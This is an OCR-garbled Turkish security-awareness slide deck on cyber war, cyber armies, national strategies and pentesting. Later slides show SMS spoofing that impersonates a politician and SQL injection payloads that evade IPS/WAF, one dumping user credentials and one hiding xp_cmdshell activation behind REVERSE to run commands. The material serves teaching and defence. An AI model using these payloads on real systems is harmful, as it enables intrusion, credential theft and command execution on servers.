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Genel Terim ve Kavramlar

* Siber savas(cyber warfare), siber tehditler, siber
suc(cyber crime), cyber espionage, cyber
intelligence, siber sabotaj(cyber sabotage), siber
terorizm (Cyberterrorism), siber casusluk (Cyber
spying), siber silah (cyber o weapon), sizma
testleri (penetration test), siber
gluvenlik yarismalari(CTF -Capture The Flag)
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Obama’dan Inciler...

* So cyberspace is real. And so are the risks that comt
with it.

* Inshort, America's economic prosperity in the 21st
century will depend on cybersecurity.

e it's now clear this cyber threat is one of the most
serious economic and national security challenges we
face as a nation.

* And finally, we will begin a national campaign to
promote cybersecurity awareness



Siber Hayat

e Siber tanimi: Altyapisi bilisim sistemleri olan ve gercek
hayatin golgesi niteligindeki yasam.

e Alisveris, oyun, film, muzik, ticaret, yemek, komsuluk,
istihbari bilgi toplama vs gibi gercek hayatin vazgecilmez
isleri siber hayatta da benzeri isimlerle yer almaktadir.

 Halk icinde sanal diinya olarak da bilinir.




Siber Guvenlik

» Siber hayatin guvenligi(gizlilik, btttnlik ve erisilebilirlik)
saglanmasi amaciyla gerceklestirilen faaliyetlerin timu.

* Bilgi givenliginden farki: daha soyut ve genis bir alani
kapsamasi

— Bilgi givenligi teknik, siber gtivenlik sosyal bir tanimdir.

e ~2015’li yillarda en sik kullanilacak tanimlardan.




Siber Guvenlik Ger¢cek Dunyayl nasil

Etkiler?
 Wikileaks...

— Ortadoguda devlet baskanlarinin son durumu

e Turkiye'de kaset mevzulari

— Siber diinyanin sagladigi sinirsiz 6zgurlik(?) sayesinde
kisilerin 6zel yasam kavrami kalmayacaktir
e 22 Agustos’da Turkiye internetinde
gerceklestirilecek kisitlamalar

* Artik tim internet kullanicilari belirli profil secerek internete
baglanacak ve izlenebilecek!



Guncel Durum

e Siber hayat kavraminin yerlesmesi.

* Siber glivenlik, siber savas, siber ordu tanimlarinin
konusulmaya baslanmasi.

* Yerli givenlik yazilimlarinin gelistirilmeye
baslanmasi(yerli Gretim %0,1 seviyelerinde)

* Temel eksiklik: bilgi givenligi farkindaligi, teknik
konularda calisanlarin temel bilgi eksikligi.

e Siber gtivenligin luks degil, gereksinim oldugu
fikrinin yayginlasmasi.

e Siber Giivenlik Derneqi kurulumu.(2011)




Siber Tehditler

 Bilgi givenligini ihlal edecek tim faaliyetler

— DDoS saldirilari: internet tGizerinden sistemlerin
erisilebilir olmasini engelleme

— Hacking aktiviteleri

* Bilgi sizdirma faaliyetleri
— RSA
— Sony PS agi tyelerinin bilgilerinin sizmasi

* Prestij zarar verme faaliyetleri



Siber Savas

* Bilisim sistemleri kullanilarak gerceklestirilen ve amaci bir sirkete, bir
ulkeye veya bir gruba yonelik maddi, manevi zararlar verme olan
faaliyetler.

e 2007 Estonya Ornegi:

— DDoS saldirilariyla Glkenin internet sisteminin islemez hale getirilmesi
e 2010 Turkiye 6rnegi:

— Yotube yasagini protesto eden bir grup Hacker

Cesitli bakanlik sitelerine yonelik DDoS saldirilari gerceklestirdi.
e 2011 Turkiye ornegi:

— Anonymous grubunun 22 Agustos’u protesto eden saldirilari

— Etkilenen kurumlar?




Siber Savas Taraflari

* Hacker gruplari
e Ticari markalar, ticari firmalar
 Devletler

 Muhalif gruplar




Siber Ordu

* Ulkeyi, kurumu siber diinyadan gelebilecek
tehlikelere karsi koruyacak ve gerektiginde siber
saldirilar gerceklestirebilecek yetenekteki bilgi
glvenligi uzmanlarinin

e Siber ordu mensubu tim askerler hem saldiri hem
de koruma yontemlerini cok iyi bilmek
zorundadirlar .

e |ki tiir siber ordu bulunmaktadir:

— Devlet eliyle yetistirilen resmi birimler
— Gonulla fakat resmi ayagi olmayan birimler




Dunyadaki Siber Ordular

* |lk siber ordu Amerika Birlesik Devletleri tarafindan gizli
olarak kurulmustur.

* Bu konuda en 6nemli yatirimlardan biri K.Kore'dir.
e Turkiye’de hentz “bilinen” duzenli bir siber ordu yoktur.

* Bazi tlkelerde “gonulllu”, siber ordular bulunmaktadir.

e 2010 yilinda bircok Ulke siber ordu konusunu giindemine
almistir.




Cyber spying

e Cesitli hacking yontemleri kullanilarak hedef
sirket/kurum/devletten bilgi sizdirmak

— Ozellikle istihbarat teskilatlarinin sik basvurdugu
yontemlerden biridir.

— |stihbarat teskilatlari glivenlik sistemlerine
yakalanmayacak malware, virus gelistirme konusunda
ciddi yatirimlar gerceklestirmektedir.

— Bunun en iyi 8rnegi Iran’da yasanan Stuxnet adi verilen
ve dogrudan SCADA sistemlere yonelik aksiyon alan
kétacal yazilhimdir.



Cyber weapon

* Klasik dunyadaki silah kavramindan farkli olarak
siber silah sadece yoketme amaci tasimamaktadir.
Yeri geldiginde yoketme, yeri geldiginde iz silme ve
veri geldiginde hedef sistemlerden bilgi kacirma
amacli kullanilacak yontem ve araclardir.

* Stuxnet en gincel ve ideal siber silah drnegidir.




Siber Casus

 Siber casuslar siber ordu elemanlaridir

* Enaz 3 vyil stiren Ozel egitimlerden gecirilerek bilgi
glvenligine ait tum konulari bilen ve 3 konuda ileri seviye
uzman olan kisilere verilen lakaptir.

* Bu kisilerin goérevleri bilisim sistemlerini kullanarak bilgi
sizdirmaktir.

* Gorevleri genellikle teknoloji sirketlerinde “bilgisayarla
ilgili herhangi bir alandir”




Ulkelerin siber givenlik stratejileri

e Siber glvenlik konusunda alinacak stratehjiler
dogrudan o ulkenin gelismisligiyle alakalidir

* Siber guvenlik demek teknolojiden daha fazla
faydalaniliyor demek ve daha fazla korunma ihtiyaci
duyuluyor demektir.

e 2008-2011 yillari arasinda cogu gelismis ulke siber
gUvenlik stratejilerini aciklamis ve yururluge
koymustur.

* Turkiye'de henuz kabul edilen bir siber givenlik
stratejisi yoktur

— Kirmizi kitaba eklenen g satir haric©



Ulkelerin siber givenlik stratejileri

 Canada Cyber Security Strategy
— http://www.publicsafety.gc.ca/prg/ns/cbr/ fl/ccss-scc-
eng.pdf
 ESTONIA Cyber Security Strategy
— http://www.mod.gov.ee/files/kmin/img/files/Kuberijulg
eoleku strateegia 2008-2013 ENG.pdf
* Cyber Security Strategy for Germany

— http://www.bmi.bund.de/SharedDocs/Downloads/DE/
Themen/OED_Verwaltung/Informationsgesellschaft/cy
ber_eng.pdf?_blob=publicationFile
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Ulkelerin siber givenlik stratejileri

* Cyber Security Strategy of the United Kingdom

— http://www.computerweekly.com/blogs/read-all-

about-
it/Cabinet%200ffice%20Cybersecurity%20review%2009

.pdf

e Australian Government Cyber SeCurity Strategy
— http://www.ema.gov.au/www/agd/rwpattach.nsf/VAP/
(ACA02151F94FFB778ADAEC2E6EA8653D)~AG+Cyber+

Security+Strategy+-
+for+website.pdf/Sfile/AG+Cyber+Security+Strategy+-
+for+website.pdf
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Penetration test

e Sistemlerin glivenligini test ettirmek amaciyla
gerceklestirilen ve hackerlarin kullandiklar
yontemleri kullanan beyaz sapkalilarin géziyle
sistem acikliklarinin aranmasi
— Whitebox pentest
— Blackbox pentest

Olmak tzere temelde ikiye ayrilir. Ciddi teknik altyapi
gerektiren bir prosestir.



CTF -Capture The Flag

 Bilgi givenligi uzmanlarinin offensive security
konulari hakkinda bilgi sahibi olmalari ve pratik
yapmalari icin gelistirilmis bir oyun taradur.

* Genellikle red team(saldirgan) ve blue team olmak
Uzere ikiye ayrilirlar

* Red team hedefleri ele gecirmeye, blue team de
hedefleri savunmaya yonelik cabalar.

* Ve oyun boyunca her iki taraf da pratik olarak
bilgilerini kullanma ve test etme sansi yakamis olur.



1. BOlUm
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Klasik Guvenlik Anlayisi

Tumden savunmal

Uruin temelli bir glivenlik anlayisi

— Uriin= sihirbaz bakis acisi(bilgi-sayar)
Tarkiye’'ye o6zel degil tim dlinya icin gecerli
Teknik sorunlar teknik yollarla ¢ozulur, insani
sorunlar insanla ¢ozullr

Temel bilgi sahibi olmadan ileri seviye isler
yapmaya calisma
— TCP/IP bilmeden Firewall/IPS yonetmek
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Uygulama Guvenligi Nedir?

Yazilim gelistiriciler en kisa slirede ortaya urin ¢ikarma pesindeler.

Guvenlik uzmanlari yogunlukla altyapi gtivenligine yonelmislerdir

Uygulama Guvenligi: Uretilen yazilimin fonksiyonlarini yitirmeden
guvenli bir sekilde gelistiriimesini saglama.
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Neden Uygulama Guvenligi, devam

Security Spending
%o of Attacks %o of Dollars
-
Applications

Network
Server

75% of all attacks on Information Security are directed to
the Web Application Layer.

2’3 of All Web Applications Are Vulnerable Gartner
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Guvenlik Dunyasinin Gidisat




Hacker’larin Gidisati

Client Mobile Social
inSecurity inSecurity Networks/Eng.




Hacker / glivenlik uzmani

e Guven
hacker

e (Guven

ik uzman
ara gore

ik uzman

ar1 prosedurel hareket ettigi icin
oir adim geriden gelir.

ari icin koruma bir meslek, hackerlar

icin bu korumalari asmak bir zevktir.

* Hacker icin bilgi glivenligi diye bir kavram yoktur,
sadece asilmasi gereken engel vardir!

* Hackerlarin mesaisi, sayisi ve motivasyonu farkhdir...

— Siber diinyada gece gindulz kavramlari yoktur

— 7/24 mesai yaparlar!

* Ornek: Wordpress acikhg
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SMS ile kaos olusturma!

B March 2009, 12:11 « previous | next

Twitter closes SMS spoofing hole - Updated L 15
Twitter, the micro-hlogging site, has closed an SMS spoofing security hole which, Select the cauntr fing ta]
until Wednesday night, left accounts open to being hijacked. The vulnerability

was due to an authentication weakness that allowed anyone who knew a User's 100532211

mohile number to spoaf their messages, provided that the user's mohile number

was 5et up to post and receive Twitter messages. I rm

The hijack was possible because Twitter determined where to post the Bu gece saat D4'de calisma var,
messages from thy "sender ID'|field, the area in all text messages that containg sarjim bitti. Mutlaka sirkette

the sender's mokile telephone number. According to Security Fix, an attacker olman lazim

could use an SMS (short messane service) spoofing service. such as my-cool-
sms.corn or phonytest.com, tom  —Send a PhonyText
by replacing the "from" ar "send | voucher Code:

. : Gonderici T4ME0 characters used
user and then sending a messa; (NN

to that user's Twitter F:lage. The Code is Caze-Sensitive, may contain IeEers a%‘u‘b&rs, and iz 8 characters long, [Enter

Name or Number it Should App rom:

By using Twitter's "text commant | |R. Tayyip Erdodan 5P 90532% fake MSISDN
another user's pthE notificatior Thiz is the bit that makes it a PhonyText! If it's a2 phone nurmber then it can be between 5 and 1¢

AlphaMumeric text then it can be up ta 11 characters in length. Mumbers may be converted into its intern 7
other Twitter users. The wulnera and nurmbers starting with a single zero (0) are assurmed to be UK numbers and the 0 will be replaced with = 1 L YOLF oW ce" numherh

Mobile Number to Send the PhonyText To (in International Format):
+9053%

Rermeber, this needs to be in the standard international format which starts with the country code, for example:
- to UK this would be 447973123456

- to Ireland this would be 333871112222

- to The Metherlands thiz would be 311112222222

Don't forget that vou right need to leave out any Zero at the start of the number if there is one,

Message to Send:

[Internatmnal Format: +491781234567]

Bu gece 03'de bakanlar kurulu ;I

toplantisi wvardir, konu acildir!
Sa
x e
-

Wwe will send a maximur of 160 characters in the rmesszage (95 |aft)

Send PhonyText! |




HTTPS Uzerinden “Free Internet”

* Bazi durumlarda HTTPS portu Uzerinde hic erisim
kontrolU olmayabilir

3 Hatal Kullanici Adi ve/veya Sifre - Microsoft Internet Explorer § i & IDIﬂ

Fle Edt Vew Favortes Tools Help [3 0 e eoven e “Sacrosolt nernet plorer —————————————————————— ]}
= ~ T ~, [\ Fle EQ Vew Favokes Tooks Hebp
Back v [ ) - \i] |:j v ‘ _ search Favorites “l‘i - e : : — 7 =
Q 2 BEAP, W B om0 - NEA DO e @2 53 B HS
Address l@ http:/{81.212.90.99:8599 redirect fwrongUserNamePassword. jsp Address [8) hitpfvwwe Weoverp.ost]

Please wat whie you are redirected

File Edt View Favorites Tools Help

Qe - © - =] 2] j‘/kean—h ¢ Favories 462)

Address [] hitp:/j1.212.90 e jsp

roE-JAdES HTTP

TADSL BILGILENDIRME SAYFAS

GEREKLI KONTROLLER SN
Fle Edt View Favortes Toos Help a
5 s Qi - © - [4) [ D[ Dseeer S @3- 2 = - LI H 3 HTTPS
u sayra = I | 12 a7 i
Kullanici adinizi ve 4 s [ €] tps:fjmai Feoverip.netfsrwebmal. 8
ve/veya sifrenizi > I » py 4 2
- ] ) 3 - - -
dogru olarak 11 Kulla 23
yazdiginizdan emin  coantlenan dasors Gelen Kutusu JLlL M QA e 3.6
olunuz
Klasérler 2 < 7 Welcome: huzeyfe@lifeousrip.net
-K_u”anm adinizi Va?arkevn__, LUtfen k 4 Gelen Kutusu (1955) @ | @| 1234567..131132133134 | Tamind aus\ev|mmunu Seg/Birak Viewing Messages: 1 to 15 (1999 total)
E’-‘ﬁkge ka’rakter (6,8,5,,4,1) ken 0k orafts Seqili Odeyi Tasii: Segili Mesajlan Danastir:
el at=s H) sent [Goten Kutuze =] STas Qe # Flag  * Bayraikaldr () Okunmus (3 Okunmams @S
-kullaniel adinizin % ‘T:S'" (Purge) 7 Gonderen | Tarh ] Konu L]
hnslik karakteri icermadiding m.oeam [~ info@atakmail.com Pzt,0:13am = Mail Alisverisinde Problem Yasamamak Icin Yeni Aya...

(€] Done ||| W@ fiternex




SQL Yorumlari ile IPS Atlatma

o /* comment */ yorum satiri olarak algilanir(SQL
+WAF+IPS tarafindan)

o [*Isql-code*/ ve [/*112345sql-code*/ yorum olarak
algilanmaz(SQL tarafindan)(WAF+IPS’ler tarafindan
yorum olarak algilanir)

o [?id=1/*!limit+0+union+select+concat_ws(0x3a,us
ername,password,email)+from+users*/
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Encoding Kullanarak IPS Atlatma

Log window Tags available

|sat M
hackvertor

sqlascii || sqlchar || sglchr || sglcomment | sglhex | sqlor

Input 108

Output |911

<@aglchar 8/2id=1

/*!linit+0+uniont+select+concat ws(0x3a,username, password, email) +fromtusers*/
<B/sglchar &

------_--.

(0x77)+CHAR
) +CHAR | +C

Clear| Cleartags Swap Selectinput Selectoutput Convert Javascript/HTML shortcuts

R T --HTMLtagsj --HTMLAﬂritj ~Events— % |--CSS propelj |--Objects-- j |--Operators--j

[P IRIT TR ) B

Inline calisan WAF/IPS’lerde ise yarar

eWJe
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SQL Reverse Fonksiyonu ile IPS Atlatma

e SQL Sunucularda bulunan reverse fonksiyonu kullanilir
— Reverse(lgs) = sql

* var=1"DECLARE @a varchar(200) DECLARE @b
varchar(200) DECLARE @c varchar(200) SET @a =
REVERSE ('1,"snoitpo decnavda wohs"
erugifnoc_ps.obd.retsam') EXEC (@a) RECONFIGURE
SET @b = REVERSE ('1,"llehsdmc_px"
erugifnoc_ps.obd.retsam') EXEC (@a) RECONFIGURE
SET @c =REVERSE('“08.911.39.19 gnip" llehsdmc_px')
EXEC (@c);--

 REVERSE('“08.911.39.19 gnip" llehsdmc_px')= ping
91.93.119.80
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Parola Profilimiz

* 123456

* 123456789
* 0

¢ 111111

* 123123

* 14531453
* 1234567
* 123654

* 19861986
* 12345678
* 666666



NetSec Ag Ve Bilgi Guvenligi Toplulugu

* Turkiye'nin en genis katilimh bilgi glivenligi e-posta

listesi ve toplulugu
~~1200 tye |~ Sec
 Ucretsiz Uye olabilirsiniz.

e Guvenlik dinyasinda yayinlanan dnemli haberler,
glvenlik yamalari ve bircok teknik konuda
tartisma...

Ag ve Bilgi Giivenligi Toplulugu

 Uyelik icin
— http://www.lifeoverip.net/netsec-listesi/
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Sorular?
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Bilgi GUvenligi

KADEMISI

ANA SAYFA EGITIMLER

Sertifikal /

EGITIM NOTLARI

MAKALELER

d

DANISMANLIK

NETSTRESS BLOG

A

Sertifikali/Lisansli Pentest Uzmani Egitimi 13 Haziran 2011(Ankara)

Onemli Duyurular

Web Application Pentest Egitimi
28 Mayis 2011(Istanbul)

ravenLial
oEminl

Sy -

slication Pentest Egitimi (

Egitim tanimi: Guniimiz biligim
giivenliginin en zayif halkalarindan biri
web uygulamalarinin giivenligidir.
Egitim, guvenlik...

Beyaz Sapkah Hacker Egitimi 23-
27 Mayis 2011 (Ankara)

Sapkali HackerEgitimi - An

Sertifikal/Lisansh Pentest Uzmani
Egitimi 13 Haziran 2011(Ankara)

,

/ Lisansh Pentest Uzmani Egiti

N

v

Egitim tanimi: Pentest (sizma testleri)
gundmiiz kurumsal firmalarinin
giivenlik politikalarinin en temel
bilegeni haline...

Siber Giivenlik Uzmani Egitimi 9-
11 Mayis 2011 (Ankara)

“ PN
Giivenlik Uzmani Egitimi - Ank
B % AP

;

Uygulamal Ag Giivenligi EGitimi
6-8 Haziran 2011(Istanbul)
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Uygulamali Ag Giivenligi Egitimi,
guiniimiiz iletisim/internet kavraminin
temelini olugturan TCP/IP
protokollerinde bulunan...

Beyaz Sapkali Hacker Egitimi 2-6
Mayis 2011 (Istanbul)
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